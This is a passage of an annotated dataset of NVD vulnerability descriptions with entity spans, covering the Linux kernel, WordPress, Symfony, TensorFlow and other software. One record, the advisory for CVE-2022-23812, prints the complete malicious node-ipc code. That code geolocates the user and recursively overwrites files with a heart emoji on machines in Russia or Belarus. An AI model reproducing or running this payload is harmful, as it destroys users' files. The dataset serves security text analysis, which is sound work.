3180]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-35800"}}
{"text": "WordPress is an open publishing platform for the Web. It's possible for a file of a type other than a zip file to be submitted as a new plugin by an administrative user on the Plugins -> Add New -> Upload Plugin screen in WordPress. If FTP credentials are requested for installation (in order to move the file into place outside of the `uploads` directory) then the uploaded file remains temporary available in the Media Library despite it not being allowed. If the `DISALLOW_FILE_EDIT` constant is set to `true` on the site _and_ FTP credentials are required when uploading a new theme or plugin, then this technically allows an RCE when the user would otherwise have no means of executing arbitrary PHP code. This issue _only_ affects Administrator level users on single site installations, and Super Admin level users on Multisite installations where it's otherwise expected that the user does not have permission to upload or execute arbitrary PHP code. Lower level users are not affected. Sites where the `DISALLOW_FILE_MODS` constant is set to `true` are not affected. Sites where an administrative user either does not need to enter FTP credentials or they have access to the valid FTP credentials, are not affected. The issue was fixed in WordPress 6.4.3 on January 30, 2024 and backported to versions 6.3.3, 6.2.4, 6.1.5, 6.0.7, 5.9.9, 5.8.9, 5.7.11, 5.6.13, 5.5.14, 5.4.15, 5.3.17, 5.2.20, 5.1.18, 5.0.21, 4.9.25, 2.8.24, 4.7.28, 4.6.28, 4.5.31, 4.4.32, 4.3.33, 4.2.37, and 4.1.40. A workaround is available. If the `DISALLOW_FILE_MODS` constant is defined as `true` then it will not be possible for any user to upload a plugin and therefore this issue will not be exploitable.", "spans": {"SYSTEM: WordPress": [[0, 9], [222, 231], [1247, 1256]], "SYSTEM: PHP": [[701, 704], [948, 951]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-31210"}}
{"text": "Symfony/Serializer handles serializing and deserializing data structures for Symfony, a PHP framework for web and console applications and a set of reusable PHP components. Symfony versions 4.1.0 before 4.4.35 and versions 5.0.0 before 5.3.12 are vulnerable to CSV injection, also known as formula injection. In Symfony 4.1, maintainers added the opt-in `csv_escape_formulas` option in the `CsvEncoder`, to prefix all cells starting with `=`, `+`, `-` or `@` with a tab `\\t`. Since then, OWASP added 2 chars in that list: Tab (0x09) and Carriage return (0x0D). This makes the previous prefix char (Tab `\\t`) part of the vulnerable characters, and OWASP suggests using the single quote `'` for prefixing the value. Starting with versions 4.4.34 and 5.3.12, Symfony now follows the OWASP recommendations and uses the single quote `'` to prefix formulas and add the prefix to cells starting by `\\t`, `\\r` as well as `=`, `+`, `-` and `@`.", "spans": {"SYSTEM: PHP": [[88, 91], [157, 160]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41270"}}
{"text": "The Photo Gallery by 10Web - Mobile-Friendly Image Gallery WordPress plugin before 1.5.67 did not properly sanitise the gallery title, allowing high privilege users to create one with XSS payload in it, which will be triggered when another user will view the gallery list or the affected gallery in the admin dashboard. This is due to an incomplete fix of CVE-2019-16117", "spans": {"CVE_ID: CVE-2019-16117": [[356, 370]], "SYSTEM: WordPress": [[59, 68]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-24310"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: let net.core.dev_weight always be non-zero\n\nThe following problem was encountered during stability test:\n\n(NULL net_device): NAPI poll function process_backlog+0x0/0x530 \\\n\treturned 1, exceeding its budget of 0.\n------------[ cut here ]------------\nlist_add double add: new=ffff88905f746f48, prev=ffff88905f746f48, \\\n\tnext=ffff88905f746e40.\nWARNING: CPU: 18 PID: 5462 at lib/list_debug.c:35 \\\n\t__list_add_valid_or_report+0xf3/0x130\nCPU: 18 UID: 0 PID: 5462 Comm: ping Kdump: loaded Not tainted 6.13.0-rc7+\nRIP: 0010:__list_add_valid_or_report+0xf3/0x130\nCall Trace:\n? __warn+0xcd/0x250\n? __list_add_valid_or_report+0xf3/0x130\nenqueue_to_backlog+0x923/0x1070\nnetif_rx_internal+0x92/0x2b0\n__netif_rx+0x15/0x170\nloopback_xmit+0x2ef/0x450\ndev_hard_start_xmit+0x103/0x490\n__dev_queue_xmit+0xeac/0x1950\nip_finish_output2+0x6cc/0x1620\nip_output+0x161/0x270\nip_push_pending_frames+0x155/0x1a0\nraw_sendmsg+0xe13/0x1550\n__sys_sendto+0x3bf/0x4e0\n__x64_sys_sendto+0xdc/0x1b0\ndo_syscall_64+0x5b/0x170\nentry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nThe reproduction command is as follows:\n  sysctl -w net.core.dev_weight=0\n  ping 127.0.0.1\n\nThis is because when the napi's weight is set to 0, process_backlog() may\nreturn 0 and clear the NAPI_STATE_SCHED bit of napi->state, causing this\nnapi to be re-polled in net_rx_action() until __do_softirq() times out.\nSince the NAPI_STATE_SCHED bit has been cleared, napi_schedule_rps() can\nbe retriggered in enqueue_to_backlog(), causing this issue.\n\nMaking the napi's weight always non-zero solves this problem.\n\nTriggering this issue requires system-wide admin (setting is\nnot namespaced).", "spans": {"IP_ADDRESS: 127.0.0.1": [[1185, 1194]], "FILEPATH: list_debug.c": [[449, 461]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21806"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS Base Score depend on the software that uses Outside In Technology. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [276, 282], [447, 453]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35574"}}
{"text": "Keystone is a content management system for Node.js. Prior to version 6.5.2, {field}.isFilterable access control can be bypassed in findMany queries by passing a cursor. This can be used to confirm the existence of records by protected field values. The fix for CVE-2025-46720 (field-level isFilterable bypass for update and delete mutations) added checks to the where parameter in update and delete mutations however the cursor parameter in findMany was not patched and accepts the same UniqueWhere input type. This issue has been patched in version 6.5.2.", "spans": {"CVE_ID: CVE-2025-46720": [[262, 276]], "FILEPATH: Node.js": [[44, 51]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33326"}}
{"text": "This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };", "spans": {"URL: https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154": [[744, 818]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23812"}}
{"text": "A Missing Release of Memory after Effective Lifetime vulnerability in the Layer-2 control protocols daemon (l2cpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a memory leak. Continued exploitation can lead to memory exhaustion and thereby a Denial of Service (DoS). This issue occurs when specific LLDP packets are received. The impact of the l2cpd cores is that if any of the stp protocols (rstp, mstp or vstp) is used then stp re-converges and traffic loss will occur during that time. Also if any services depend on LLDP state (like PoE or VoIP device recognition) then these will also be affected. The memory utilization of the L2CPd process can be monitored with the following command: user@host> show system processes extensive | match l2cpd 1234 root 52 0 521M 43412K RUN 1 4:02 34.47% l2cpd This issue affects: Juniper Networks Junos OS 18.4 version 18.4R2-S4 and later versions prior to 18.4R2-S10. 19.2 versions prior to 19.2R1-S8, 19.2R3-S4; 19.3 versions prior to 19.3R3-S5; 19.4 versions prior to 19.4R3-S7; 20.1 versions prior to 20.1R3-S3; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2-S2, 21.1R3; 21.2 versions prior to 21.2R2; Juniper Networks Junos OS Evolved All versions prior to 20.4R3-S2-EVO; 21.1 version 21.1R1-EVO and later versions; 21.2 versions prior to 21.2R2-EVO. This issue does not affect: Juniper Networks Junos OS 19.1 version 19.1R1 and later versions.", "spans": {"ORGANIZATION: Juniper": [[118, 125], [878, 885], [1286, 1293], [1464, 1471]], "VULNERABILITY: Denial of Service": [[300, 317]], "VULNERABILITY: memory leak": [[220, 231]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22172"}}
{"text": "mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Versions 3.4.0 and prior contain an argument injection vulnerability in the port_forward tool in src/tools/port_forward.ts, where a kubectl command is constructed via string concatenation with user-controlled input and then naively split on spaces before being passed to spawn(). Unlike all other tools in the codebase which correctly use array-based argument passing with execFileSync(), port_forward treats every space in user-controlled fields (namespace, resourceType, resourceName, localPort, targetPort) as an argument boundary, allowing an attacker to inject arbitrary kubectl flags. This enables exposure of internal Kubernetes services to the network by injecting --address=0.0.0.0, cross-namespace targeting by injecting additional -n flags, and indirect exploitation via prompt injection against AI agents connected to the MCP server. This issue has been fixed in version 3.5.0.", "spans": {"IP_ADDRESS: 0.0.0.0": [[775, 782]], "FILEPATH: /tools/port_forward.ts": [[192, 214]], "SYSTEM: Kubernetes": [[61, 71], [717, 727]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39884"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: mediatek: mt8195: Set ETDM1/2 IN/OUT to COMP_DUMMY()\n\nETDM2_IN_BE and ETDM1_OUT_BE are defined as COMP_EMPTY(),\nin the case the codec dai_name will be null.\n\nAvoid a crash if the device tree is not assigning a codec\nto these links.\n\n[    1.179936] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n[    1.181065] Mem abort info:\n[    1.181420]   ESR = 0x0000000096000004\n[    1.181892]   EC = 0x25: DABT (current EL), IL = 32 bits\n[    1.182576]   SET = 0, FnV = 0\n[    1.182964]   EA = 0, S1PTW = 0\n[    1.183367]   FSC = 0x04: level 0 translation fault\n[    1.183983] Data abort info:\n[    1.184406]   ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n[    1.185097]   CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n[    1.185766]   GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n[    1.186439] [0000000000000000] user address but active_mm is swapper\n[    1.187239] Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP\n[    1.188029] Modules linked in:\n[    1.188420] CPU: 7 UID: 0 PID: 70 Comm: kworker/u32:1 Not tainted 6.14.0-rc4-next-20250226+ #85\n[    1.189515] Hardware name: Radxa NIO 12L (DT)\n[    1.190065] Workqueue: events_unbound deferred_probe_work_func\n[    1.190808] pstate: 40400009 (nZcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[    1.191683] pc : __pi_strcmp+0x24/0x140\n[    1.192170] lr : mt8195_mt6359_soc_card_probe+0x224/0x7b0\n[    1.192854] sp : ffff800083473970\n[    1.193271] x29: ffff800083473a10 x28: 0000000000001008 x27: 0000000000000002\n[    1.194168] x26: ffff800082408960 x25: ffff800082417db0 x24: ffff800082417d88\n[    1.195065] x23: 000000000000001e x22: ffff800082dbf480 x21: ffff800082dc07b8\n[    1.195961] x20: 0000000000000000 x19: 0000000000000013 x18: 00000000ffffffff\n[    1.196858] x17: 000000040044ffff x16: 005000f2b5503510 x15: 0000000000000006\n[    1.197755] x14: ffff800082407af0 x13: 6e6f69737265766e x12: 692d6b636f6c6374\n[    1.198651] x11: 0000000000000002 x10: ffff80008240b920 x9 : 0000000000000018\n[    1.199547] x8 : 0101010101010101 x7 : 0000000000000000 x6 : 0000000000000000\n[    1.200443] x5 : 0000000000000000 x4 : 8080808080000000 x3 : 303933383978616d\n[    1.201339] x2 : 0000000000000000 x1 : ffff80008240b920 x0 : 0000000000000000\n[    1.202236] Call trace:\n[    1.202545]  __pi_strcmp+0x24/0x140 (P)\n[    1.203029]  mtk_soundcard_common_probe+0x3bc/0x5b8\n[    1.203644]  platform_probe+0x70/0xe8\n[    1.204106]  really_probe+0xc8/0x3a0\n[    1.204556]  __driver_probe_device+0x84/0x160\n[    1.205104]  driver_probe_device+0x44/0x130\n[    1.205630]  __device_attach_driver+0xc4/0x170\n[    1.206189]  bus_for_each_drv+0x8c/0xf8\n[    1.206672]  __device_attach+0xa8/0x1c8\n[    1.207155]  device_initial_probe+0x1c/0x30\n[    1.207681]  bus_probe_device+0xb0/0xc0\n[    1.208165]  deferred_probe_work_func+0xa4/0x100\n[    1.208747]  process_one_work+0x158/0x3e0\n[    1.209254]  worker_thread+0x2c4/0x3e8\n[    1.209727]  kthread+0x134/0x1f0\n[    1.210136]  ret_from_fork+0x10/0x20\n[    1.210589] Code: 54000401 b50002c6 d503201f f86a6803 (f8408402)\n[    1.211355] ---[ end trace 0000000000000000 ]---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[347, 371]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38299"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: zswap: fix crypto_free_acomp() deadlock in zswap_cpu_comp_dead()\n\nCurrently, zswap_cpu_comp_dead() calls crypto_free_acomp() while holding\nthe per-CPU acomp_ctx mutex.  crypto_free_acomp() then holds scomp_lock\n(through crypto_exit_scomp_ops_async()).\n\nOn the other hand, crypto_alloc_acomp_node() holds the scomp_lock (through\ncrypto_scomp_init_tfm()), and then allocates memory.  If the allocation\nresults in reclaim, we may attempt to hold the per-CPU acomp_ctx mutex.\n\nThe above dependencies can cause an ABBA deadlock.  For example in the\nfollowing scenario:\n\n(1) Task A running on CPU #1:\n    crypto_alloc_acomp_node()\n      Holds scomp_lock\n      Enters reclaim\n      Reads per_cpu_ptr(pool->acomp_ctx, 1)\n\n(2) Task A is descheduled\n\n(3) CPU #1 goes offline\n    zswap_cpu_comp_dead(CPU #1)\n      Holds per_cpu_ptr(pool->acomp_ctx, 1))\n      Calls crypto_free_acomp()\n      Waits for scomp_lock\n\n(4) Task A running on CPU #2:\n      Waits for per_cpu_ptr(pool->acomp_ctx, 1) // Read on CPU #1\n      DEADLOCK\n\nSince there is no requirement to call crypto_free_acomp() with the per-CPU\nacomp_ctx mutex held in zswap_cpu_comp_dead(), move it after the mutex is\nunlocked.  Also move the acomp_request_free() and kfree() calls for\nconsistency and to avoid any potential sublte locking dependencies in the\nfuture.\n\nWith this, only setting acomp_ctx fields to NULL occurs with the mutex\nheld.  This is similar to how zswap_cpu_comp_prepare() only initializes\nacomp_ctx fields with the mutex held, after performing all allocations\nbefore holding the mutex.\n\nOpportunistically, move the NULL check on acomp_ctx so that it takes place\nbefore the mutex dereference.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22030"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack_h323: Add protection for bmp length out of range\n\nUBSAN load reports an exception of BRK#5515 SHIFT_ISSUE:Bitwise shifts\nthat are out of bounds for their data type.\n\nvmlinux   get_bitmap(b=75) + 712\n<net/netfilter/nf_conntrack_h323_asn1.c:0>\nvmlinux   decode_seq(bs=0xFFFFFFD008037000, f=0xFFFFFFD008037018, level=134443100) + 1956\n<net/netfilter/nf_conntrack_h323_asn1.c:592>\nvmlinux   decode_choice(base=0xFFFFFFD0080370F0, level=23843636) + 1216\n<net/netfilter/nf_conntrack_h323_asn1.c:814>\nvmlinux   decode_seq(f=0xFFFFFFD0080371A8, level=134443500) + 812\n<net/netfilter/nf_conntrack_h323_asn1.c:576>\nvmlinux   decode_choice(base=0xFFFFFFD008037280, level=0) + 1216\n<net/netfilter/nf_conntrack_h323_asn1.c:814>\nvmlinux   DecodeRasMessage() + 304\n<net/netfilter/nf_conntrack_h323_asn1.c:833>\nvmlinux   ras_help() + 684\n<net/netfilter/nf_conntrack_h323_main.c:1728>\nvmlinux   nf_confirm() + 188\n<net/netfilter/nf_conntrack_proto.c:137>\n\nDue to abnormal data in skb->data, the extension bitmap length\nexceeds 32 when decoding ras message then uses the length to make\na shift operation. It will change into negative after several loop.\nUBSAN load could detect a negative shift as an undefined behaviour\nand reports exception.\nSo we add the protection to avoid the length exceeding 32. Or else\nit will return out of range error and stop decoding.", "spans": {"FILEPATH: /netfilter/nf_conntrack_h323_asn1.c": [[296, 331], [429, 464], [546, 581], [657, 692], [767, 802], [847, 882]], "FILEPATH: /netfilter/nf_conntrack_h323_main.c": [[919, 954]], "FILEPATH: /netfilter/nf_conntrack_proto.c": [[994, 1025]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26851"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nigb: Do not bring the device up after non-fatal error\n\nCommit 004d25060c78 (\"igb: Fix igb_down hung on surprise removal\")\nchanged igb_io_error_detected() to ignore non-fatal pcie errors in order\nto avoid hung task that can happen when igb_down() is called multiple\ntimes. This caused an issue when processing transient non-fatal errors.\nigb_io_resume(), which is called after igb_io_error_detected(), assumes\nthat device is brought down by igb_io_error_detected() if the interface\nis up. This resulted in panic with stacktrace below.\n\n[ T3256] igb 0000:09:00.0 haeth0: igb: haeth0 NIC Link is Down\n[  T292] pcieport 0000:00:1c.5: AER: Uncorrected (Non-Fatal) error received: 0000:09:00.0\n[  T292] igb 0000:09:00.0: PCIe Bus Error: severity=Uncorrected (Non-Fatal), type=Transaction Layer, (Requester ID)\n[  T292] igb 0000:09:00.0:   device [8086:1537] error status/mask=00004000/00000000\n[  T292] igb 0000:09:00.0:    [14] CmpltTO [  200.105524,009][  T292] igb 0000:09:00.0: AER:   TLP Header: 00000000 00000000 00000000 00000000\n[  T292] pcieport 0000:00:1c.5: AER: broadcast error_detected message\n[  T292] igb 0000:09:00.0: Non-correctable non-fatal error reported.\n[  T292] pcieport 0000:00:1c.5: AER: broadcast mmio_enabled message\n[  T292] pcieport 0000:00:1c.5: AER: broadcast resume message\n[  T292] ------------[ cut here ]------------\n[  T292] kernel BUG at net/core/dev.c:6539!\n[  T292] invalid opcode: 0000 [#1] PREEMPT SMP\n[  T292] RIP: 0010:napi_enable+0x37/0x40\n[  T292] Call Trace:\n[  T292]  <TASK>\n[  T292]  ? die+0x33/0x90\n[  T292]  ? do_trap+0xdc/0x110\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  ? do_error_trap+0x70/0xb0\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  ? exc_invalid_op+0x4e/0x70\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  ? asm_exc_invalid_op+0x16/0x20\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  igb_up+0x41/0x150\n[  T292]  igb_io_resume+0x25/0x70\n[  T292]  report_resume+0x54/0x70\n[  T292]  ? report_frozen_detected+0x20/0x20\n[  T292]  pci_walk_bus+0x6c/0x90\n[  T292]  ? aer_print_port_info+0xa0/0xa0\n[  T292]  pcie_do_recovery+0x22f/0x380\n[  T292]  aer_process_err_devices+0x110/0x160\n[  T292]  aer_isr+0x1c1/0x1e0\n[  T292]  ? disable_irq_nosync+0x10/0x10\n[  T292]  irq_thread_fn+0x1a/0x60\n[  T292]  irq_thread+0xe3/0x1a0\n[  T292]  ? irq_set_affinity_notifier+0x120/0x120\n[  T292]  ? irq_affinity_notify+0x100/0x100\n[  T292]  kthread+0xe2/0x110\n[  T292]  ? kthread_complete_and_exit+0x20/0x20\n[  T292]  ret_from_fork+0x2d/0x50\n[  T292]  ? kthread_complete_and_exit+0x20/0x20\n[  T292]  ret_from_fork_asm+0x11/0x20\n[  T292]  </TASK>\n\nTo fix this issue igb_io_resume() checks if the interface is running and\nthe device is not down this means igb_io_error_detected() did not bring\nthe device down and there is no need to bring it up.", "spans": {"FILEPATH: /core/dev.c": [[1441, 1452]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50040"}}
{"text": "A vulnerability has been identified in Tecnomatix Plant Simulation (All versions < V16.0.5). The PlantSimCore.dll library lacks proper validation of user-supplied data when parsing SPP files. This could result in a stack based buffer overflow, a different vulnerability than CVE-2021-27398. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13279)", "spans": {"CVE_ID: CVE-2021-27398": [[275, 289]], "VULNERABILITY: buffer overflow": [[227, 242]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-27396"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. Due to lack of validation in `tf.raw_ops.RaggedTensorToTensor`, an attacker can exploit an undefined behavior if input arguments are empty. The implementation(https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L356-L360) only checks that one of the tensors is not empty, but does not check for the other ones. There are multiple `DCHECK` validations to prevent heap OOB, but these are no-op in release builds, hence they don't prevent anything. The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L356-L360": [[230, 380]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29608"}}
{"text": "containerd is an open source container runtime with an emphasis on simplicity, robustness and portability. A bug was found in containerd where container root directories and some plugins had insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files. This vulnerability has been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are released and may restart containers or update directory permissions to mitigate the vulnerability. Users unable to update should limit access to the host to trusted users. Update directory permission on container bundles directories.", "spans": {"SYSTEM: Linux": [[262, 267], [433, 438], [520, 525], [618, 623]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41103"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: iso: Fix circular lock in iso_conn_big_sync\n\nThis fixes the circular locking dependency warning below, by reworking\niso_sock_recvmsg, to ensure that the socket lock is always released\nbefore calling a function that locks hdev.\n\n[  561.670344] ======================================================\n[  561.670346] WARNING: possible circular locking dependency detected\n[  561.670349] 6.12.0-rc6+ #26 Not tainted\n[  561.670351] ------------------------------------------------------\n[  561.670353] iso-tester/3289 is trying to acquire lock:\n[  561.670355] ffff88811f600078 (&hdev->lock){+.+.}-{3:3},\n               at: iso_conn_big_sync+0x73/0x260 [bluetooth]\n[  561.670405]\n               but task is already holding lock:\n[  561.670407] ffff88815af58258 (sk_lock-AF_BLUETOOTH){+.+.}-{0:0},\n               at: iso_sock_recvmsg+0xbf/0x500 [bluetooth]\n[  561.670450]\n               which lock already depends on the new lock.\n\n[  561.670452]\n               the existing dependency chain (in reverse order) is:\n[  561.670453]\n               -> #2 (sk_lock-AF_BLUETOOTH){+.+.}-{0:0}:\n[  561.670458]        lock_acquire+0x7c/0xc0\n[  561.670463]        lock_sock_nested+0x3b/0xf0\n[  561.670467]        bt_accept_dequeue+0x1a5/0x4d0 [bluetooth]\n[  561.670510]        iso_sock_accept+0x271/0x830 [bluetooth]\n[  561.670547]        do_accept+0x3dd/0x610\n[  561.670550]        __sys_accept4+0xd8/0x170\n[  561.670553]        __x64_sys_accept+0x74/0xc0\n[  561.670556]        x64_sys_call+0x17d6/0x25f0\n[  561.670559]        do_syscall_64+0x87/0x150\n[  561.670563]        entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[  561.670567]\n               -> #1 (sk_lock-AF_BLUETOOTH-BTPROTO_ISO){+.+.}-{0:0}:\n[  561.670571]        lock_acquire+0x7c/0xc0\n[  561.670574]        lock_sock_nested+0x3b/0xf0\n[  561.670577]        iso_sock_listen+0x2de/0xf30 [bluetooth]\n[  561.670617]        __sys_listen_socket+0xef/0x130\n[  561.670620]        __x64_sys_listen+0xe1/0x190\n[  561.670623]        x64_sys_call+0x2517/0x25f0\n[  561.670626]        do_syscall_64+0x87/0x150\n[  561.670629]        entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[  561.670632]\n               -> #0 (&hdev->lock){+.+.}-{3:3}:\n[  561.670636]        __lock_acquire+0x32ad/0x6ab0\n[  561.670639]        lock_acquire.part.0+0x118/0x360\n[  561.670642]        lock_acquire+0x7c/0xc0\n[  561.670644]        __mutex_lock+0x18d/0x12f0\n[  561.670647]        mutex_lock_nested+0x1b/0x30\n[  561.670651]        iso_conn_big_sync+0x73/0x260 [bluetooth]\n[  561.670687]        iso_sock_recvmsg+0x3e9/0x500 [bluetooth]\n[  561.670722]        sock_recvmsg+0x1d5/0x240\n[  561.670725]        sock_read_iter+0x27d/0x470\n[  561.670727]        vfs_read+0x9a0/0xd30\n[  561.670731]        ksys_read+0x1a8/0x250\n[  561.670733]        __x64_sys_read+0x72/0xc0\n[  561.670736]        x64_sys_call+0x1b12/0x25f0\n[  561.670738]        do_syscall_64+0x87/0x150\n[  561.670741]        entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[  561.670744]\n               other info that might help us debug this:\n\n[  561.670745] Chain exists of:\n&hdev->lock --> sk_lock-AF_BLUETOOTH-BTPROTO_ISO --> sk_lock-AF_BLUETOOTH\n\n[  561.670751]  Possible unsafe locking scenario:\n\n[  561.670753]        CPU0                    CPU1\n[  561.670754]        ----                    ----\n[  561.670756]   lock(sk_lock-AF_BLUETOOTH);\n[  561.670758]                                lock(sk_lock\n                                              AF_BLUETOOTH-BTPROTO_ISO);\n[  561.670761]                                lock(sk_lock-AF_BLUETOOTH);\n[  561.670764]   lock(&hdev->lock);\n[  561.670767]\n                *** DEADLOCK ***", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-54191"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7921e: fix crash in chip reset fail\n\nIn case of drv own fail in reset, we may need to run mac_reset several\ntimes. The sequence would trigger system crash as the log below.\n\nBecause we do not re-enable/schedule \"tx_napi\" before disable it again,\nthe process would keep waiting for state change in napi_diable(). To\navoid the problem and keep status synchronize for each run, goto final\nresource handling if drv own failed.\n\n[ 5857.353423] mt7921e 0000:3b:00.0: driver own failed\n[ 5858.433427] mt7921e 0000:3b:00.0: Timeout for driver own\n[ 5859.633430] mt7921e 0000:3b:00.0: driver own failed\n[ 5859.633444] ------------[ cut here ]------------\n[ 5859.633446] WARNING: CPU: 6 at kernel/kthread.c:659 kthread_park+0x11d\n[ 5859.633717] Workqueue: mt76 mt7921_mac_reset_work [mt7921_common]\n[ 5859.633728] RIP: 0010:kthread_park+0x11d/0x150\n[ 5859.633736] RSP: 0018:ffff8881b676fc68 EFLAGS: 00010202\n......\n[ 5859.633766] Call Trace:\n[ 5859.633768]  <TASK>\n[ 5859.633771]  mt7921e_mac_reset+0x176/0x6f0 [mt7921e]\n[ 5859.633778]  mt7921_mac_reset_work+0x184/0x3a0 [mt7921_common]\n[ 5859.633785]  ? mt7921_mac_set_timing+0x520/0x520 [mt7921_common]\n[ 5859.633794]  ? __kasan_check_read+0x11/0x20\n[ 5859.633802]  process_one_work+0x7ee/0x1320\n[ 5859.633810]  worker_thread+0x53c/0x1240\n[ 5859.633818]  kthread+0x2b8/0x370\n[ 5859.633824]  ? process_one_work+0x1320/0x1320\n[ 5859.633828]  